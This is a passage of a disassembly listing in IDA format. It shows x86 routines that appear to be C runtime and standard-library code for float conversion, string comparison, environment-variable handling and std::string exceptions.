and [ebp+var_24+2], 0
cmp [ebp+var_20+2], 0FFFFFFFFh
jnz short loc_422075
and [ebp+var_20+2], 0
cmp word ptr [ebp+var_1C+2], 0FFFFh
jnz short loc_42206F
inc [ebp+arg_0]
mov word ptr [ebp+var_1C+2], 8000h
jmp short loc_42207D
; ---------------------------------------------------------------------------
loc_42206F: ; CODE XREF: sub_421EA1+1C1j
inc word ptr [ebp+var_1C+2]
jmp short loc_42207D
; ---------------------------------------------------------------------------
loc_422075: ; CODE XREF: sub_421EA1+1B5j
inc [ebp+var_20+2]
jmp short loc_42207D
; ---------------------------------------------------------------------------
loc_42207A: ; CODE XREF: sub_421EA1+1ABj
inc [ebp+var_24+2]
loc_42207D: ; CODE XREF: sub_421EA1+1A5j
; sub_421EA1+1CCj ...
mov eax, [ebp+arg_0]
cmp ax, 7FFFh
jnb short loc_4220A1
mov cx, word ptr [ebp+var_24+2]
or eax, edi
mov [esi], cx
mov ecx, [ebp+var_20]
mov [esi+2], ecx
mov ecx, [ebp+var_1C]
mov [esi+6], ecx
loc_42209B: ; CODE XREF: sub_421EA1+86j
mov [esi+0Ah], ax
jmp short loc_4220BC
; ---------------------------------------------------------------------------
loc_4220A1: ; CODE XREF: sub_421EA1+42j
; sub_421EA1+4Dj ...
neg di
sbb edi, edi
and dword ptr [esi+4], 0
and edi, 80000000h
add edi, 7FFF8000h
and dword ptr [esi], 0
mov [esi+8], edi
loc_4220BC: ; CODE XREF: sub_421EA1+ABj
; sub_421EA1+1FEj
pop edi
pop esi
pop ebx
leave
retn
sub_421EA1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4220C1 proc near ; CODE XREF: sub_4214D8+440p
; sub_4219A9+14Cp
var_C = byte ptr -0Ch
var_A = dword ptr -0Ah
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, offset dword_436760
xor ecx, ecx
sub ebx, 60h
cmp [ebp+arg_4], ecx
jz short loc_42213A
jge short loc_4220E9
mov eax, [ebp+arg_4]
mov ebx, offset dword_4368C0
neg eax
mov [ebp+arg_4], eax
sub ebx, 60h
loc_4220E9: ; CODE XREF: sub_4220C1+16j
cmp [ebp+arg_8], ecx
jnz short loc_4220F4
mov eax, [ebp+arg_0]
mov [eax], cx
loc_4220F4: ; CODE XREF: sub_4220C1+2Bj
cmp [ebp+arg_4], ecx
jz short loc_42213A
push esi
push edi
loc_4220FB: ; CODE XREF: sub_4220C1+75j
mov eax, [ebp+arg_4]
add ebx, 54h
sar [ebp+arg_4], 3
and eax, 7
cmp eax, ecx
jz short loc_422133
lea eax, [eax+eax*2]
cmp word ptr [ebx+eax*4], 8000h
lea esi, [ebx+eax*4]
jb short loc_422126
lea edi, [ebp+var_C]
movsd
movsd
movsd
dec [ebp+var_A]
lea esi, [ebp+var_C]
loc_422126: ; CODE XREF: sub_4220C1+57j
push esi
push [ebp+arg_0]
call sub_421EA1
pop ecx
pop ecx
xor ecx, ecx
loc_422133: ; CODE XREF: sub_4220C1+49j
cmp [ebp+arg_4], ecx
jnz short loc_4220FB
pop edi
pop esi
loc_42213A: ; CODE XREF: sub_4220C1+14j
; sub_4220C1+36j
pop ebx
leave
retn
sub_4220C1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42213D proc near ; CODE XREF: sub_421DAE+5Ep
; sub_422619+18p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0
jnz short loc_42214A
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42214A: ; CODE XREF: sub_42213D+7j
push dword_4CEDE4
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_8]
push [ebp+arg_0]
push 1
push dword_4CF004
call sub_4221EA
add esp, 1Ch
test eax, eax
jnz short loc_422177
mov eax, 7FFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_422177: ; CODE XREF: sub_42213D+31j
add eax, 0FFFFFFFEh
pop ebp
retn
sub_42213D endp
; =============== S U B R O U T I N E =======================================
sub_42217C proc near ; CODE XREF: sub_421DAE+1Ep
; sub_422492+5Bp
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
mov esi, dword_4CD9E4
push edi
xor edi, edi
mov eax, [esi]
cmp eax, edi
jz short loc_4221DD
mov ebx, dword_424150
loc_422195: ; CODE XREF: sub_42217C+5Fj
push edi
push edi
push edi
push edi
push 0FFFFFFFFh
push eax
push edi
push 1
call ebx
mov ebp, eax
cmp ebp, edi
jz short loc_4221E5
push ebp
call sub_417B89
cmp eax, edi
pop ecx
mov [esp+14h+var_4], eax
jz short loc_4221E5
push edi
push edi
push ebp
push eax
push 0FFFFFFFFh
push dword ptr [esi]
push edi
push 1
call ebx
test eax, eax
jz short loc_4221E5
push edi
push [esp+18h+var_4]
call sub_422492
mov eax, [esi+4]
add esi, 4
pop ecx
cmp eax, edi
pop ecx
jnz short loc_422195
loc_4221DD: ; CODE XREF: sub_42217C+11j
xor eax, eax
loc_4221DF: ; CODE XREF: sub_42217C+6Cj
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_4221E5: ; CODE XREF: sub_42217C+29j
; sub_42217C+38j ...
or eax, 0FFFFFFFFh
jmp short loc_4221DF
sub_42217C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4221EA proc near ; CODE XREF: sub_42213D+27p
var_3C = dword ptr -3Ch
var_36 = byte ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_424C88
push offset sub_41F774
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor ebx, ebx
cmp dword_4CDCA0, ebx
push 1
pop edi
jnz short loc_42225D
push edi
mov eax, offset dword_4248D8
push eax
push edi
push eax
push ebx
push ebx
nop
call near ptr 25C0000h
test eax, eax
jz short loc_42223A
mov dword_4CDCA0, edi
jmp short loc_42225D
; ---------------------------------------------------------------------------
loc_42223A: ; CODE XREF: sub_4221EA+46j
push edi
mov eax, offset dword_436EF4
push eax
push edi
push eax
push ebx
push ebx
nop
call near ptr 25C061Bh
test eax, eax
jz loc_422453
mov dword_4CDCA0, 2
loc_42225D: ; CODE XREF: sub_4221EA+31j
; sub_4221EA+4Ej
mov esi, [ebp+arg_C]
cmp esi, ebx
jle short loc_422274
push esi
push [ebp+arg_8]
call sub_422467
pop ecx
pop ecx
mov esi, eax
mov [ebp+arg_C], esi
loc_422274: ; CODE XREF: sub_4221EA+78j
cmp [ebp+arg_14], ebx
jle short loc_422289
push [ebp+arg_14]
push [ebp+arg_10]
call sub_422467
pop ecx
pop ecx
mov [ebp+arg_14], eax
loc_422289: ; CODE XREF: sub_4221EA+8Dj
mov eax, dword_4CDCA0
cmp eax, 2
jnz short loc_4222AE
push [ebp+arg_14]
push [ebp+arg_10]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call near ptr 25C061Bh
nop
jmp loc_422455
; ---------------------------------------------------------------------------
loc_4222AE: ; CODE XREF: sub_4221EA+A7j
cmp eax, edi
jnz loc_422453
cmp [ebp+arg_18], ebx
jnz short loc_4222C3
mov eax, dword_4CDA58
mov [ebp+arg_18], eax
loc_4222C3: ; CODE XREF: sub_4221EA+CFj
cmp esi, ebx
jz short loc_4222D0
cmp [ebp+arg_14], ebx
jnz loc_422368
loc_4222D0: ; CODE XREF: sub_4221EA+DBj
cmp esi, [ebp+arg_14]
jnz short loc_4222DD
loc_4222D5: ; CODE XREF: sub_4221EA+13Cj
; sub_4221EA+16Dj
push 2
loc_4222D7: ; CODE XREF: sub_4221EA+146j
pop eax
jmp loc_422455
; ---------------------------------------------------------------------------
loc_4222DD: ; CODE XREF: sub_4221EA+E9j
cmp [ebp+arg_14], edi
jle short loc_4222E9
loc_4222E2: ; CODE XREF: sub_4221EA+151j
; sub_4221EA+159j ...
mov eax, edi
jmp loc_422455
; ---------------------------------------------------------------------------
loc_4222E9: ; CODE XREF: sub_4221EA+F6j
cmp esi, edi
jg short loc_42232E
lea eax, [ebp+var_3C]
push eax
push [ebp+arg_18]
nop
call near ptr 28911DFh
test eax, eax
jz loc_422453
cmp esi, ebx
jle short loc_422332
cmp [ebp+var_3C], 2
jb short loc_42232E
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_42232E
loc_422314: ; CODE XREF: sub_4221EA+142j
mov dl, [eax+1]
cmp dl, bl
jz short loc_42232E
mov ecx, [ebp+arg_8]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_422328
cmp cl, dl
jbe short loc_4222D5
loc_422328: ; CODE XREF: sub_4221EA+138j
inc eax
inc eax
cmp [eax], bl
jnz short loc_422314
loc_42232E: ; CODE XREF: sub_4221EA+101j
; sub_4221EA+120j ...
push 3
jmp short loc_4222D7
; ---------------------------------------------------------------------------
loc_422332: ; CODE XREF: sub_4221EA+11Aj
cmp [ebp+arg_14], ebx
jle short loc_422368
cmp [ebp+var_3C], 2
jb short loc_4222E2
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_4222E2
loc_422345: ; CODE XREF: sub_4221EA+177j
mov dl, [eax+1]
cmp dl, bl
jz short loc_4222E2
mov ecx, [ebp+arg_10]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_42235D
cmp cl, dl
jbe loc_4222D5
loc_42235D: ; CODE XREF: sub_4221EA+169j
inc eax
inc eax
cmp [eax], bl
jnz short loc_422345
jmp loc_4222E2
; ---------------------------------------------------------------------------
loc_422368: ; CODE XREF: sub_4221EA+E0j
; sub_4221EA+14Bj
push ebx
push ebx
push esi
push [ebp+arg_8]
push 9
push [ebp+arg_18]
nop
call near ptr 2630000h
mov [ebp+var_1C], eax
cmp eax, ebx
jz loc_422453
mov [ebp+var_4], ebx
add eax, eax
add eax, 3
and al, 0FCh
call sub_417B30
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4223B7
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+arg_C]
push 1
pop edi
loc_4223B7: ; CODE XREF: sub_4221EA+1B5j
cmp [ebp+var_24], ebx
jz loc_422453
push [ebp+var_1C]
push [ebp+var_24]
push esi
push [ebp+arg_8]
push edi
push [ebp+arg_18]
mov esi, dword_424070
call esi
test eax, eax
jz short loc_422453
push ebx
push ebx
push [ebp+arg_14]
push [ebp+arg_10]
push 9
push [ebp+arg_18]
call esi
mov esi, eax
mov [ebp+var_20], esi
cmp esi, ebx
jz short loc_422453
mov [ebp+var_4], edi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_417B30
mov [ebp+var_18], esp
mov edi, esp
mov [ebp+var_28], edi
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_422422
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor edi, edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_20]
loc_422422: ; CODE XREF: sub_4221EA+224j
cmp edi, ebx
jz short loc_422453
push esi
push edi
push [ebp+arg_14]
push [ebp+arg_10]
push 1
push [ebp+arg_18]
call near ptr 2630000h
nop
test eax, eax
jz short loc_422453
push esi
push edi
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 25C0000h
jmp short loc_422455
; ---------------------------------------------------------------------------
loc_422453: ; CODE XREF: sub_4221EA+63j
; sub_4221EA+C6j ...
xor eax, eax
loc_422455: ; CODE XREF: sub_4221EA+BFj
; sub_4221EA+EEj ...
lea esp, [ebp-4Ch]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4221EA endp
; =============== S U B R O U T I N E =======================================
sub_422467 proc near ; CODE XREF: sub_41E709+81p
; sub_4221EA+7Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_422484
loc_422477: ; CODE XREF: sub_422467+1Bj
cmp byte ptr [eax], 0
jz short loc_422484
inc eax
mov esi, ecx
dec ecx
test esi, esi
jnz short loc_422477
loc_422484: ; CODE XREF: sub_422467+Ej
; sub_422467+13j
cmp byte ptr [eax], 0
pop esi
jnz short loc_42248F
sub eax, [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_42248F: ; CODE XREF: sub_422467+21j
mov eax, edx
retn
sub_422467 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422492 proc near ; CODE XREF: sub_42217C+50p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor edi, edi
cmp [ebp+arg_0], edi
jz short loc_4224F6
push 3Dh
push [ebp+arg_0]
call sub_4226D8
mov esi, eax
pop ecx
cmp esi, edi
pop ecx
mov [ebp+var_8], esi
jz short loc_4224F6
cmp [ebp+arg_0], esi
jz short loc_4224F6
mov eax, dword_4CD9DC
xor ebx, ebx
cmp [esi+1], bl
setz bl
cmp eax, dword_4CD9E0
jnz short loc_4224DC
push eax
call sub_422671
pop ecx
mov dword_4CD9DC, eax
loc_4224DC: ; CODE XREF: sub_422492+3Cj
cmp eax, edi
jnz short loc_422534
cmp [ebp+arg_4], edi
jz short loc_4224FE
cmp dword_4CD9E4, edi
jz short loc_4224FE
call sub_42217C
test eax, eax
jz short loc_422534
loc_4224F6: ; CODE XREF: sub_422492+Dj
; sub_422492+22j ...
or eax, 0FFFFFFFFh
loc_4224F9: ; CODE XREF: sub_422492+182j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4224FE: ; CODE XREF: sub_422492+51j
; sub_422492+59j
cmp ebx, edi
jnz loc_422612
push 4
call sub_417B89
cmp eax, edi
pop ecx
mov dword_4CD9DC, eax
jz short loc_4224F6
mov [eax], edi
cmp dword_4CD9E4, edi
jnz short loc_422534
push 4
call sub_417B89
cmp eax, edi
pop ecx
mov dword_4CD9E4, eax
jz short loc_4224F6
mov [eax], edi
loc_422534: ; CODE XREF: sub_422492+4Cj
; sub_422492+62j ...
sub esi, [ebp+arg_0]
mov edi, dword_4CD9DC
mov [ebp+var_4], edi
push esi
push [ebp+arg_0]
call sub_422619
mov esi, eax
pop ecx
test esi, esi
pop ecx
jl short loc_422594
cmp dword ptr [edi], 0
jz short loc_422594
test ebx, ebx
jz short loc_42258C
push dword ptr [edi+esi*4]
lea edi, [edi+esi*4]
call sub_417C3B
pop ecx
loc_422566: ; CODE XREF: sub_422492+E2j
cmp dword ptr [edi], 0
jz short loc_422576
mov eax, [edi+4]
inc esi
mov [edi], eax
add edi, 4
jmp short loc_422566
; ---------------------------------------------------------------------------
loc_422576: ; CODE XREF: sub_422492+D7j
mov eax, esi
shl eax, 2
push eax
push [ebp+var_4]
call sub_41944F
pop ecx
test eax, eax
pop ecx
jz short loc_4225C6
jmp short loc_4225C1
; ---------------------------------------------------------------------------
loc_42258C: ; CODE XREF: sub_422492+C6j
mov eax, [ebp+arg_0]
mov [edi+esi*4], eax
jmp short loc_4225C6
; ---------------------------------------------------------------------------
loc_422594: ; CODE XREF: sub_422492+BDj
; sub_422492+C2j
test ebx, ebx
jnz short loc_422612
test esi, esi
jge short loc_42259E
neg esi
loc_42259E: ; CODE XREF: sub_422492+108j
lea eax, ds:8[esi*4]
push eax
push edi
call sub_41944F
pop ecx
test eax, eax
pop ecx
jz loc_4224F6
mov ecx, [ebp+arg_0]
mov [eax+esi*4], ecx
and dword ptr [eax+esi*4+4], 0
loc_4225C1: ; CODE XREF: sub_422492+F8j
mov dword_4CD9DC, eax
loc_4225C6: ; CODE XREF: sub_422492+F6j
; sub_422492+100j
cmp [ebp+arg_4], 0
jz short loc_422612
push [ebp+arg_0]
call sub_417AB0
inc eax
inc eax
push eax
call sub_417B89
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_422612
push [ebp+arg_0]
push esi
call sub_4179C0
mov eax, esi
pop ecx
sub eax, [ebp+arg_0]
pop ecx
add eax, [ebp+var_8]
and byte ptr [eax], 0
inc eax
neg ebx
sbb ebx, ebx
not ebx
and ebx, eax
push ebx
push esi
nop
call near ptr 25B01B6h
push esi
call sub_417C3B
pop ecx
loc_422612: ; CODE XREF: sub_422492+6Ej
; sub_422492+104j ...
xor eax, eax
jmp loc_4224F9
sub_422492 endp
; =============== S U B R O U T I N E =======================================
sub_422619 proc near ; CODE XREF: sub_422492+B2p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, dword_4CD9DC
push edi
mov eax, [esi]
test eax, eax
jz short loc_422654
mov edi, [esp+8+arg_4]
loc_42262B: ; CODE XREF: sub_422619+39j
push edi
push eax
push [esp+10h+arg_0]
call sub_42213D
add esp, 0Ch
test eax, eax
jnz short loc_42264A
mov eax, [esi]
mov al, [eax+edi]
cmp al, 3Dh
jz short loc_422664
test al, al
jz short loc_422664
loc_42264A: ; CODE XREF: sub_422619+22j
mov eax, [esi+4]
add esi, 4
test eax, eax
jnz short loc_42262B
loc_422654: ; CODE XREF: sub_422619+Cj
mov eax, esi
sub eax, dword_4CD9DC
sar eax, 2
neg eax
loc_422661: ; CODE XREF: sub_422619+56j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_422664: ; CODE XREF: sub_422619+2Bj
; sub_422619+2Fj
mov eax, esi
sub eax, dword_4CD9DC
sar eax, 2
jmp short loc_422661
sub_422619 endp
; =============== S U B R O U T I N E =======================================
sub_422671 proc near ; CODE XREF: sub_422492+3Fp
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor ecx, ecx
test edi, edi
jnz short loc_422680
xor eax, eax
pop edi
retn
; ---------------------------------------------------------------------------
loc_422680: ; CODE XREF: sub_422671+9j
cmp dword ptr [edi], 0
lea eax, [edi+4]
jz short loc_422692
loc_422688: ; CODE XREF: sub_422671+1Fj
mov edx, [eax]
inc ecx
add eax, 4
test edx, edx
jnz short loc_422688
loc_422692: ; CODE XREF: sub_422671+15j
push ebx
push ebp
lea eax, ds:4[ecx*4]
push esi
push eax
call sub_417B89
mov esi, eax
pop ecx
test esi, esi
mov ebp, esi
jnz short loc_4226B3
push 9
call sub_419CDA
pop ecx
loc_4226B3: ; CODE XREF: sub_422671+38j
mov eax, [edi]
mov ebx, edi
loc_4226B7: ; CODE XREF: sub_422671+5Bj
test eax, eax
jz short loc_4226CE
push eax
add ebx, 4
call sub_42274B
mov [esi], eax
mov eax, [ebx]
pop ecx
add esi, 4
jmp short loc_4226B7
; ---------------------------------------------------------------------------
loc_4226CE: ; CODE XREF: sub_422671+48j
and dword ptr [esi], 0
mov eax, ebp
pop esi
pop ebp
pop ebx
pop edi
retn
sub_422671 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4226D8 proc near ; CODE XREF: sub_422492+14p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp dword_4CEDFC, 0
jnz short loc_4226F3
push [ebp+arg_4]
push [ebp+arg_0]
call sub_418F50
pop ecx
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4226F3: ; CODE XREF: sub_4226D8+Aj
mov ecx, [ebp+arg_0]
loc_4226F6: ; CODE XREF: sub_4226D8+56j
movzx ax, byte ptr [ecx]
test ax, ax
jz short loc_422739
movzx edx, al
test byte_4CEF01[edx], 4
jz short loc_422725
mov dl, [ecx+1]
inc ecx
test dl, dl
jz short loc_422730
movzx eax, ax
movzx edx, dl
shl eax, 8
or eax, edx
cmp [ebp+arg_4], eax
jz short loc_422734
jmp short loc_42272D
; ---------------------------------------------------------------------------
loc_422725: ; CODE XREF: sub_4226D8+31j
movzx edx, ax
cmp [ebp+arg_4], edx
jz short loc_422739
loc_42272D: ; CODE XREF: sub_4226D8+4Bj
inc ecx
jmp short loc_4226F6
; ---------------------------------------------------------------------------
loc_422730: ; CODE XREF: sub_4226D8+39j
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_422734: ; CODE XREF: sub_4226D8+49j
lea eax, [ecx-1]
pop ebp
retn
; ---------------------------------------------------------------------------
loc_422739: ; CODE XREF: sub_4226D8+25j
; sub_4226D8+53j
movzx edx, ax
mov eax, [ebp+arg_4]
sub eax, edx
neg eax
sbb eax, eax
not eax
and eax, ecx
pop ebp
retn
sub_4226D8 endp
; =============== S U B R O U T I N E =======================================
sub_42274B proc near ; CODE XREF: sub_40A7D7+21p
; sub_422671+4Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_422772
push esi
call sub_417AB0
inc eax
push eax
call sub_417B89
pop ecx
test eax, eax
pop ecx
jz short loc_422772
push esi
push eax
call sub_4179C0
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_422772: ; CODE XREF: sub_42274B+7j
; sub_42274B+1Aj
xor eax, eax
pop esi
retn
sub_42274B endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_422780 proc near ; CODE XREF: sub_422863+19p
; sub_42298A+19p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
call sub_417AB0
pop ecx
push eax
push [esp+8+arg_0]
mov ecx, esi
call sub_4046A3
mov eax, esi
pop esi
retn 8
sub_422780 endp
; =============== S U B R O U T I N E =======================================
sub_4227AA proc near ; CODE XREF: ___:004227D5p
; sub_422858+6j ...
push esi
mov esi, ecx
push 1
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_424CA4
call sub_404667
mov ecx, esi
pop esi
jmp sub_422BA6
sub_4227AA endp
; =============== S U B R O U T I N E =======================================
sub_4227C5 proc near ; DATA XREF: ___:00424CA8o
; ___:00424CB8o ...
mov eax, [ecx+10h]
test eax, eax
jnz short locret_4227D1
mov eax, offset dword_424290
locret_4227D1: ; CODE XREF: sub_4227C5+5j
retn
sub_4227C5 endp
; ---------------------------------------------------------------------------
loc_4227D2: ; DATA XREF: ___:off_424CA4o
push esi
mov esi, ecx
call sub_4227AA
test byte ptr [esp+8], 1
jz short loc_4227E8
push esi
call sub_4182AF
pop ecx
loc_4227E8: ; CODE XREF: ___:004227DFj
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_4227EE proc near ; CODE XREF: sub_422863+29p
mov eax, offset loc_423122
call sub_418290
push ecx
push ecx
push esi
lea eax, [ebp-10h]
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset dword_424CC0
call sub_422B1F
push dword ptr [ebp+8]
and dword ptr [ebp-4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_424CA4
call sub_4228A0
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_424CB4
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_4227EE endp
; =============== S U B R O U T I N E =======================================
sub_42283C proc near ; DATA XREF: ___:off_424CB4o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_422858
test [esp+4+arg_0], 1
jz short loc_422852
push esi
call sub_4182AF
pop ecx
loc_422852: ; CODE XREF: sub_42283C+Dj
mov eax, esi
pop esi
retn 4
sub_42283C endp
; =============== S U B R O U T I N E =======================================
sub_422858 proc near ; CODE XREF: sub_42283C+3p
; DATA XREF: ___:0042502Co
mov dword ptr [ecx], offset off_424CB4
jmp sub_4227AA
sub_422858 endp
; =============== S U B R O U T I N E =======================================
sub_422863 proc near ; CODE XREF: sub_404514+13p
; sub_4046D8+Ep
mov eax, offset loc_423134
call sub_418290
sub esp, 30h
lea eax, [ebp-0Dh]
push eax
push offset aInvalidStringP ; "invalid string position"
lea ecx, [ebp-20h]
call sub_422780
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_4227EE
push offset dword_425028
lea eax, [ebp-3Ch]
push eax
call sub_422BC9
int 3 ; Trap to Debugger
sub_422863 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4228A0 proc near ; CODE XREF: sub_4227EE+32p
; sub_4228C0+32p ...
arg_0 = dword ptr 4
push esi
xor eax, eax
push 0FFFFFFFFh
mov esi, ecx
push eax
push [esp+0Ch+arg_0]
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
call sub_404514
mov eax, esi
pop esi
retn 4
sub_4228A0 endp
; =============== S U B R O U T I N E =======================================
sub_4228C0 proc near ; CODE XREF: sub_42298A+29p
mov eax, offset loc_423146
call sub_418290
push ecx
push ecx
push esi
lea eax, [ebp-10h]
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset dword_424CC0
call sub_422B1F
push dword ptr [ebp+8]
and dword ptr [ebp-4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_424CA4
call sub_4228A0
mov ecx, [ebp-0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_4228C0 endp
; =============== S U B R O U T I N E =======================================
sub_422908 proc near ; CODE XREF: sub_422972+7p
; sub_4229CE+7p ...
mov eax, offset loc_423158
call sub_418290
push ecx
push esi
push edi
mov edi, [ebp+8]
mov esi, ecx
push edi
mov [ebp-10h], esi
call sub_422B5C
and dword ptr [ebp-4], 0
add edi, 0Ch
push edi
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_424CA4
call sub_4228A0
mov ecx, [ebp-0Ch]
pop edi
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_422908 endp
; =============== S U B R O U T I N E =======================================
sub_42294B proc near ; DATA XREF: ___:off_424CE0o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_422967
test [esp+4+arg_0], 1
jz short loc_422961
push esi
call sub_4182AF
pop ecx
loc_422961: ; CODE XREF: sub_42294B+Dj
mov eax, esi
pop esi
retn 4
sub_42294B endp
; =============== S U B R O U T I N E =======================================
sub_422967 proc near ; CODE XREF: sub_42294B+3p
; DATA XREF: ___:004250D4o
mov dword ptr [ecx], offset off_424CE0
jmp sub_4227AA
sub_422967 endp
; =============== S U B R O U T I N E =======================================
sub_422972 proc near ; CODE XREF: sub_4229E6+46p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_422908
mov dword ptr [esi], offset off_424CB4
mov eax, esi
pop esi
retn 4
sub_422972 endp
; =============== S U B R O U T I N E =======================================
sub_42298A proc near ; CODE XREF: sub_404464+15p
; sub_4044BD+15p ...
mov eax, offset loc_42316A
call sub_418290
sub esp, 30h
lea eax, [ebp-0Dh]
push eax
push offset aStringTooLong ; "string too long"
lea ecx, [ebp-20h]
call sub_422780
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_4228C0
push offset dword_4250D0
lea eax, [ebp-3Ch]
push eax
mov dword ptr [ebp-3Ch], offset off_424CE0
call sub_422BC9
int 3 ; Trap to Debugger
sub_42298A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4229CE proc near ; CODE XREF: sub_4229E6+28p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_422908
mov dword ptr [esi], offset off_424CE0
mov eax, esi
pop esi
retn 4
sub_4229CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_4229E6 proc near ; DATA XREF: ___:00424CACo
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_422908
push offset dword_425110
lea eax, [ebp+var_1C]
push eax
call sub_422BC9
int 3 ; Trap to Debugger
loc_422A04: ; DATA XREF: ___:00424CE8o
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_4229CE
push offset dword_4250D0
lea eax, [ebp+var_1C]
push eax
call sub_422BC9
int 3 ; Trap to Debugger
loc_422A22: ; DATA XREF: ___:00424CBCo
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_422972
push offset dword_425028
lea eax, [ebp+var_1C]
push eax
call sub_422BC9
int 3 ; Trap to Debugger
sub_4229E6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_422A40 proc near
jmp near ptr 71B2ACCBh
sub_422A40 endp
; ---------------------------------------------------------------------------
db 76h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422A46 proc near ; CODE XREF: sub_403DF6+5Ep
; sub_4053D5+159p
nop
jmp near ptr 71AB1B7Bh
sub_422A46 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
